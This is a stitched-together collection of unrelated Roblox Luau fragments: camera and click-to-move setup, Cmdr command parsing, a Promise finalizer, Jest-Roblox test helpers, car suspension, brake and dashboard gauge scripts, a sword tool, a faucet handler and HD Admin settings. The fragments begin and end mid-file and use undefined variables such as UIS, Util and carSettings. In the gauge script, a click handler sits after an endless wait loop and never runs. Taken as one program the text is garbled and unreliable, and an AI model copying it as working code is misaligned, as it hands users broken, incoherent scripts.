local InvisicamModule = nil
if CameraScript then
InvisicamModule = require(CameraScript:WaitForChild("Invisicam"))
end
local MasterControlModule = script.Parent
local MasterControl = require(MasterControlModule)
local TouchJump = nil
if MasterControl then
local TouchJumpModule = MasterControlModule:FindFirstChild("TouchJump")
if TouchJumpModule then
TouchJump = require(TouchJumpModule)
end
end
local SHOW_PATH = true
local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList
local math_min = math.min
local math_max = math.max
local math_pi = math.pi
local math_atan2 = math.atan2
local Vector3_new = Vector3.new
local Vector2_new = Vector2.new
local CFrame_new = CFrame.new
local CurrentSeatPart = nil
local DrivingTo = nil
local XZ_VECTOR3 = Vector3_new(1, 0, 1)
local ZERO_VECTOR3 = Vector3_new(0, 0, 0)
local ZERO_VECTOR2 = Vector2_new(0, 0)
local lastFailedPosition = nil
local BindableEvent_OnFailStateChanged = nil
if UIS.TouchEnabled then
BindableEvent_OnFailStateChanged = MasterControl:GetClickToMoveFailStateChanged()
end
|
--- Creates a listable type from a singlular type
|
function Util.MakeListableType(type, override)
local listableType = {
Listable = true,
Transform = type.Transform,
Validate = type.Validate,
Autocomplete = type.Autocomplete,
Default = type.Default,
Parse = function(...)
return {type.Parse(...)}
end
}
if override then
for key, value in pairs(override) do
listableType[key] = value
end
end
return listableType
end
local function encodeCommandEscape(text)
return (text:gsub("\\%$", "___!CMDR_DOLLAR!___"))
end
local function decodeCommandEscape(text)
return (text:gsub("___!CMDR_DOLLAR!___", "$"))
end
function Util.RunCommandString(dispatcher, commandString)
commandString = Util.ParseEscapeSequences(commandString)
commandString = Util.EncodeEscapedOperators(commandString)
local commands = commandString:split("&&")
local output = ""
for i, command in ipairs(commands) do
local outputEncoded = output:gsub("%$", "\\x24")
command = command:gsub("||", output:find("%s") and ("%q"):format(outputEncoded) or outputEncoded)
output = tostring(
dispatcher:EvaluateAndRun(
(
Util.RunEmbeddedCommands(dispatcher, command)
)
)
)
if i == #commands then
return output
end
end
end
|
--[[
Calls any :finally handlers. We need this to be a separate method and
queue because we must call all of the finally callbacks upon a success,
failure, *and* cancellation.
]]
|
function Promise.prototype:_finalize()
for _, callback in ipairs(self._queuedFinally) do
-- Purposefully not passing values to callbacks here, as it could be the
-- resolved values, or rejected errors. If the developer needs the values,
-- they should use :andThen or :catch explicitly.
callback(self._status)
end
-- Allow family to be buried
self._parent = nil
self._consumers = nil
end
return Promise
|
-- / Functions / --
|
local function Control(key, inputState)
if carSettings[key] then
carSettings[key][1] = (inputState == Enum.UserInputState.Begin);
end
end
|
-- ROBLOX TODO: add generic type constraints <EachCallback extends Global.TestCallback>
|
function applyArguments<EachCallback>(
supportsDone: boolean,
params: Array<any>,
test: Global_EachTestFn<EachCallback>
): Global_EachTestFn<any>
local argumentCount
if typeof(test) == "function" then
argumentCount = debug.info(test, "a")
else
argumentCount = 0 -- ROBLOX CHECK: jest.fn()?
end
-- ROBLOX deviation START: add logic to unpack and convert NIL placeholders
local replaceNilPlaceholders
function replaceNilPlaceholders(val: any): any
if val == NIL then
return nil
elseif Array.isArray(val) then
return Array.map(val, function(item)
return replaceNilPlaceholders(item)
end)
elseif typeof(val) == "table" then
Array.forEach(Object.keys(val), function(key)
val[key] = replaceNilPlaceholders(val[key])
end)
return val
end
return val
end
local unpackTable
function unpackTable(obj: Array<any>, i_: number?, ...: any)
local i = if i_ ~= nil then i_ else #obj
if i == 0 then
return ...
end
return unpackTable(obj, i - 1, replaceNilPlaceholders(obj[i]), ...)
end
-- ROBLOX deviation END
return if supportsDone and #params < argumentCount
then function(done: Global_DoneFn)
return test(unpackTable(params), done)
end
else function()
return test(unpackTable(params))
end
end
return exports
|
--[[Susupension]]
|
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS
--Front Suspension
Tune.FSusStiffness = 25000 -- Spring Force
Tune.FSusDamping = 400 -- Spring Dampening
Tune.FAntiRoll = 400 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 1.9 -- Resting Suspension length (in studs)
Tune.FPreCompress = .1 -- Pre-compression adds resting length force
Tune.FExtensionLim = .4 -- Max Extension Travel (in studs)
Tune.FCompressLim = .2 -- Max Compression Travel (in studs)
Tune.FSusAngle = 75 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusStiffness = 20000 -- Spring Force
Tune.RSusDamping = 400 -- Spring Dampening
Tune.RAntiRoll = 400 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2.1 -- Resting Suspension length (in studs)
Tune.RPreCompress = .1 -- Pre-compression adds resting length force
Tune.RExtensionLim = .4 -- Max Extension Travel (in studs)
Tune.RCompressLim = .2 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics (PGS ONLY)
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Dark stone grey" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 8 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
-- Local Functions
|
local function OnPlayerAdded(player)
-- Setup leaderboard stats
local leaderstats = Instance.new('Model', player)
leaderstats.Name = 'leaderstats'
local Captures = Instance.new('IntValue', leaderstats)
Captures.Name = 'Captures'
Captures.Value = 0
-- Add player to team
TeamManager:AssignPlayerToTeam(player)
player.CharacterAdded:connect(function(character)
character:WaitForChild('Humanoid').Died:connect(function()
wait(Configurations.RESPAWN_TIME)
if GameRunning then
player:LoadCharacter()
end
end)
end)
-- Check if player should be spawned
if PlayersCanSpawn then
player:LoadCharacter()
else
DisplayManager:StartIntermission(player)
end
end
local function OnPlayerRemoving(player)
TeamManager:RemovePlayer(player)
end
|
--[=[
Adds json to a localization table
@param localizationTable LocalizationTable -- The localization table to add to
@param localeId string -- The localeId to use
@param json string -- The json to add with
@param tableName string -- Used for source
]=]
|
function JsonToLocalizationTable.addJsonToTable(localizationTable, localeId, json, tableName)
assert(type(tableName) == "string", "Bad tableName")
local decodedTable = HttpService:JSONDecode(json)
recurseAdd(localizationTable, localeId, "", decodedTable, tableName)
end
return JsonToLocalizationTable
|
-- Gradually regenerates the Humanoid's Health over time.
|
local REGEN_RATE = 0.1/100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 0.05 -- Wait this long between each regeneration step.
|
--Get in a seat
|
local function enterStart()
--Tell server we're trying to get in
GetInStart:FireServer(AdornedSeat)
--Wait until player lets go of button (causing them to get in) or seat out of range (nothing happens)
while EnterKeyDown and AdornedSeat do
wait()
end
if AdornedSeat then
--Tell server we are getting in seat
Remotes.GetInSeat:FireServer(AdornedSeat)
local n = 0
repeat
wait()
n = n + 1
until AdornedSeat == nil or n>20
EnterImageButton.Visible = true
local hum = getLocalHumanoid()
if hum then
if hum.Sit then
-- load animations only when player is in the vehicle
local hum = getLocalHumanoid()
if hum ~= currentHumanoid then -- load only when we have a new humanoid
currentHumanoid = hum
local anims = animationFolder:GetChildren()
for i = 1, #anims do
AnimationTracks[anims[i].Name] = hum:LoadAnimation(anims[i])
end
end
-- play seated animation
local seat = hum.SeatPart
local prefix = (seat.ClassName == "VehicleSeat" and "Driver" or "Passenger")
local preferredAnimation = AnimationTracks[prefix.."_Seated"]
if preferredAnimation then
preferredAnimation.Priority = Enum.AnimationPriority.Action
preferredAnimation:Play()
end
end
end
end
end
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 0
local slash_damage = 0
local debounce = false
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Immortal")
local vCharacter = script.Parent.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Immortal") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
if debounce == false then
debounce = true
tagHumanoid(humanoid, vPlayer)
zomghit = 0 + script.Parent.AddDam.Value
humanoid:TakeDamage(zomghit)
untagHumanoid(humanoid)
wait(0.35)
debounce = false
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
local Slash1 = script.Parent.Handle.Slash1
local Slash2 = script.Parent.Handle.Slash2
Slashsounds={Slash1, Slash2}
Whoosh=(Slashsounds[math.random(1,#Slashsounds)])
Whoosh:play()
local vCharacter = script.Parent.Parent
local hum = vCharacter:findFirstChild("Immortal")
Move1 = hum:LoadAnimation(script.Parent.Handle.LeftSlash)
Move2 = hum:LoadAnimation(script.Parent.Handle.OverHeadSwing)
Move3 = hum:LoadAnimation(script.Parent.Handle.RightSlash)
MovesLikeJagger={Move1, Move2, Move3}
IGotThem=(MovesLikeJagger[math.random(1,#MovesLikeJagger)])
IGotThem:Play()
--hum.WalkSpeed = 0
wait(.1)
Whoosh:play()
wait(.1)
--hum.WalkSpeed = 16
end
script.Parent.Enabled = true
function onActivated()
if not script.Parent.Enabled then
return
end
script.Parent.Enabled = false
local character = script.Parent.Parent;
local humanoid = character.Immortal
if humanoid == nil then
print("Humanoid not found")
return
end
attack()
wait(.1)
script.Parent.Enabled = true
end
function onEquipped()
--if Tool.Handle.LightsaberOn.isPlaying == false then
script.Parent.Handle.LightsaberOn:play()
script.Parent.Handle.IdleLoop:Play()
--end
end
function onUnequipped()
script.Parent.Handle.LightsaberOff:stop()
script.Parent.Handle.IdleLoop:Stop()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
connection = script.Parent.Handle.Touched:connect(blow)
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 240 / 8000
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then
gearText = "N"
car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "N"
car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "N"
elseif gearText == -1 then
gearText = "R"
car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "R"
car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "R"
end
script.Parent.Gear.Text = gearText
car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = gearText
car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
script.Parent.Parent.Values.PBrake.Changed:connect(function()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)
script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
inspd.Rotation = -30 + (240 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
end)
while wait(.1) do
local gas = car.DriveSeat.Gas.Value
script.Parent.Fuel.Text = math.floor(gas) .."% Diesel"
end
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
|
----- cold tap handler -----
|
coldTap.Interactive.ClickDetector.MouseClick:Connect(function()
if coldOn.Value == false then
coldOn.Value = true
faucet.ParticleEmitter.Enabled = true
waterSound:Play()
coldTap:SetPrimaryPartCFrame(coldTap.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-45), 0))
else
coldOn.Value = false
if hotOn.Value == false then
faucet.ParticleEmitter.Enabled = false
waterSound:Stop()
end
coldTap:SetPrimaryPartCFrame(coldTap.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(45), 0))
end
end)
|
--[[
Packs an array of numbers into a given animatable data type.
If the type is not animatable, nil will be returned.
FUTURE: When Luau supports singleton types, those could be used in
conjunction with intersection types to make this function fully statically
type checkable.
]]
|
local Oklab = require(script.Parent.Parent.Parent.Colour.Oklab)
local function packType(numbers: {number}, typeString: string)
if typeString == "number" then
return numbers[1]
elseif typeString == "CFrame" then
return
CFrame.new(numbers[1], numbers[2], numbers[3]) *
CFrame.fromAxisAngle(
Vector3.new(numbers[4], numbers[5], numbers[6]).Unit,
numbers[7]
)
elseif typeString == "Color3" then
return Oklab.from(
Vector3.new(numbers[1], numbers[2], numbers[3]),
false
)
elseif typeString == "ColorSequenceKeypoint" then
return ColorSequenceKeypoint.new(
numbers[4],
Oklab.from(
Vector3.new(numbers[1], numbers[2], numbers[3]),
false
)
)
elseif typeString == "DateTime" then
return DateTime.fromUnixTimestampMillis(numbers[1])
elseif typeString == "NumberRange" then
return NumberRange.new(numbers[1], numbers[2])
elseif typeString == "NumberSequenceKeypoint" then
return NumberSequenceKeypoint.new(numbers[2], numbers[1], numbers[3])
elseif typeString == "PhysicalProperties" then
return PhysicalProperties.new(numbers[1], numbers[2], numbers[3], numbers[4], numbers[5])
elseif typeString == "Ray" then
return Ray.new(
Vector3.new(numbers[1], numbers[2], numbers[3]),
Vector3.new(numbers[4], numbers[5], numbers[6])
)
elseif typeString == "Rect" then
return Rect.new(numbers[1], numbers[2], numbers[3], numbers[4])
elseif typeString == "Region3" then
-- FUTURE: support rotated Region3s if/when they become constructable
local position = Vector3.new(numbers[1], numbers[2], numbers[3])
local halfSize = Vector3.new(numbers[4] / 2, numbers[5] / 2, numbers[6] / 2)
return Region3.new(position - halfSize, position + halfSize)
elseif typeString == "Region3int16" then
return Region3int16.new(
Vector3int16.new(numbers[1], numbers[2], numbers[3]),
Vector3int16.new(numbers[4], numbers[5], numbers[6])
)
elseif typeString == "UDim" then
return UDim.new(numbers[1], numbers[2])
elseif typeString == "UDim2" then
return UDim2.new(numbers[1], numbers[2], numbers[3], numbers[4])
elseif typeString == "Vector2" then
return Vector2.new(numbers[1], numbers[2])
elseif typeString == "Vector2int16" then
return Vector2int16.new(numbers[1], numbers[2])
elseif typeString == "Vector3" then
return Vector3.new(numbers[1], numbers[2], numbers[3])
elseif typeString == "Vector3int16" then
return Vector3int16.new(numbers[1], numbers[2], numbers[3])
else
return nil
end
end
return packType
|
-- return nil
-- end
|
local function isObject(item: any): boolean
return item and typeof(item) == "table" and not Array.isArray(item)
end
local function testNameToKey(testName: ConfigPath, count: number): string
return testName .. " " .. count
end
local function keyToTestName(key: string): string
if not key:match(" %d+$") then
error(Error("Snapshot keys must end with a number."))
end
return key:gsub(" %d+$", "")
end
local function getSnapshotData(
snapshotPath: ConfigPath,
update: ConfigSnapshotUpdateState
): { data: SnapshotData, dirty: boolean }
local data = {}
local dirty = false
-- ROBLOX deviation: snapshots in Jest Roblox are ModuleScripts, so we require them to load them
pcall(function()
data = require(snapshotPath) :: any
end)
-- ROBLOX deviation: omitted validateSnapshotVersion for now since we will have our own
-- snapshot versioning
-- local validationResult = validateSnapshotVersion(data)
local isInvalid = false -- data and validationResult
-- if update == "none" and isInvalid then
-- error(validationResult)
-- end
if (update == "all" or update == "new") and isInvalid then
dirty = true
end
return {
data = data,
dirty = dirty,
}
end
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 8500 -- Front brake force
Tune.RBrakeForce = 8000 -- Rear brake force
Tune.PBrakeForce = 9000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--
|
field:GetPropertyChangedSignal("Text"):Connect(function()
result()
tween_service:Create(frame, info, {ImageTransparency = Random.new():NextNumber(0, 1)}):Play()
end)
field.FocusLost:Connect(function()
field.Text = ""
--
tween_service:Create(frame, info, {ImageTransparency = 0}):Play()
end)
|
-- Use the script's attributes as the default settings.
-- The table provided is a fallback if the attributes
-- are undefined or using the wrong value types.
|
local DEFAULT_SETTINGS = Settings.new(script, {
WindDirection = Vector3.new(0.5, 0, 0.5);
WindSpeed = 0;
WindPower = 0;
})
|
--------------| SYSTEM SETTINGS |--------------
|
Prefix = "9"; -- The character you use before every command (e.g. ';jump me').
SplitKey = " "; -- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').
BatchKey = ""; -- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'
QualifierBatchKey = ","; -- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)
Theme = "Blue"; -- The default UI theme.
NoticeSoundId = 2865227271; -- The SoundId for notices.
NoticeVolume = 0.1; -- The Volume for notices.
NoticePitch = 1; -- The Pitch/PlaybackSpeed for notices.
ErrorSoundId = 2865228021; -- The SoundId for error notifications.
ErrorVolume = 0.1; -- The Volume for error notifications.
ErrorPitch = 1; -- The Pitch/PlaybackSpeed for error notifications.
AlertSoundId = 9161622880; -- The SoundId for alerts.
AlertVolume = 0.5; -- The Volume for alerts.
AlertPitch = 1; -- The Pitch/PlaybackSpeed for alerts.
WelcomeBadgeId = 0; -- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.
CommandDebounce = true; -- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.
SaveRank = true; -- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.
LoopCommands = 3; -- The minimum rank required to use LoopCommands.
MusicList = {}; -- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.
ThemeColors = { -- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};
{"Red", Color3.fromRGB(150, 0, 0), };
{"Orange", Color3.fromRGB(150, 75, 0), };
{"Brown", Color3.fromRGB(120, 80, 30), };
{"Yellow", Color3.fromRGB(130, 120, 0), };
{"Green", Color3.fromRGB(0, 120, 0), };
{"Blue", Color3.fromRGB(0, 100, 150), };
{"Purple", Color3.fromRGB(100, 0, 150), };
{"Pink", Color3.fromRGB(150, 0, 100), };
{"Black", Color3.fromRGB(60, 60, 60), };
};
Colors = { -- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value};
{"r", "Red", Color3.fromRGB(255, 0, 0) };
{"o", "Orange", Color3.fromRGB(250, 100, 0) };
{"y", "Yellow", Color3.fromRGB(255, 255, 0) };
{"g", "Green" , Color3.fromRGB(0, 255, 0) };
{"dg", "DarkGreen" , Color3.fromRGB(0, 125, 0) };
{"b", "Blue", Color3.fromRGB(0, 255, 255) };
{"db", "DarkBlue", Color3.fromRGB(0, 50, 255) };
{"p", "Purple", Color3.fromRGB(150, 0, 255) };
{"pk", "Pink", Color3.fromRGB(255, 85, 185) };
{"bk", "Black", Color3.fromRGB(0, 0, 0) };
{"w", "White", Color3.fromRGB(255, 255, 255) };
};
ChatColors = { -- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow.
[5] = "Yellow";
};
Cmdbar = 1; -- The minimum rank required to use the Cmdbar.
Cmdbar2 = 3; -- The minimum rank required to use the Cmdbar2.
ViewBanland = 3; -- The minimum rank required to view the banland.
OnlyShowUsableCommands = false; -- Only display commands equal to or below the user's rank on the Commands page.
RankRequiredToViewPage = { -- || The pages on the main menu ||
["Commands"] = 0;
["Admin"] = 0;
["Settings"] = 0;
};
RankRequiredToViewRank = { -- || The rank categories on the 'Ranks' subPage under Admin ||
["Owner"] = 0;
["HeadAdmin"] = 0;
["Admin"] = 0;
["Mod"] = 0;
["VIP"] = 0;
};
RankRequiredToViewRankType = { -- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||
["Owner"] = 0;
["SpecificUsers"] = 5;
["Gamepasses"] = 0;
["Assets"] = 0;
["Groups"] = 0;
["Friends"] = 0;
["FreeAdmin"] = 0;
["VipServerOwner"] = 0;
};
RankRequiredToViewIcon = 0;
WelcomeRankNotice = true; -- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.
WelcomeDonorNotice = true; -- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.
WarnIncorrectPrefix = true; -- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!"
DisableAllNotices = false; -- Set to true to disable all HD Admin notices.
ScaleLimit = 4; -- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.
IgnoreScaleLimit = 3; -- Any ranks equal or above this value will ignore 'ScaleLimit'
CommandLimits = { -- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit.
["fly"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["fly2"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["noclip"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["noclip2"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["speed"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["jumpPower"] = {
Limit = 10000;
IgnoreLimit = 3;
};
};
VIPServerCommandBlacklist = {"permRank", "permBan", "globalAnnouncement"}; -- Commands players are probihited from using in VIP Servers.
GearBlacklist = {67798397}; -- The IDs of gear items to block when using the ;gear command.
IgnoreGearBlacklist = 4; -- The minimum rank required to ignore the gear blacklist.
PlayerDataStoreVersion = "V1.0"; -- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.
